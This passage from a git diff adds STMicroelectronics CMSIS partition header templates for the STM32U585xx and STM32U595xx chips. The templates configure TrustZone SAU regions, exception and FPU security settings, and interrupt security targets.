+#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// SAES_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// COMP_IRQn <0=> Secure state <1=> Non-Secure state +// OTG_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// PWR_S3WU_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel8_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel9_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel10_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel11_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel12_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel13_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel14_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel15_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// TSC_IRQn <0=> Secure state <1=> Non-Secure state +// AES_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..125) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..125 +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// PKA_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT0_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT1_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT3_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC1_IRQn <0=> Secure state <1=> Non-Secure state +// OTFDEC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE1_IRQn <0=> Secure state <1=> Non-Secure state +// ADF1_IRQn <0=> Secure state <1=> Non-Secure state +// ADC4_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// LPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// DMA2D_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI2_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT4_IRQn <0=> Secure state <1=> Non-Secure state +// MDF1_FLT5_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// LSECSSD_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + +} + +#endif /* PARTITION_STM32U585XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u595xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u595xx.h new file mode 100644 index 000000000..19d2245e9 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/Templates/partition_stm32u595xx.h @@ -0,0 +1,682 @@ +/** + ****************************************************************************** + * @file partition_stm32u595xx.h + * @author MCD Application Team + * @brief CMSIS STM32U595xx Device Initial Setup for Secure / Non-Secure Zones + * for ARMCM33 based on CMSIS CORE partition_ARMCM33.h Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32U595XX_H +#define PARTITION_STM32U595XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C1FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C1FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08200000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x083FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x200D0000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2026FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0xAFFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_PVM_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> 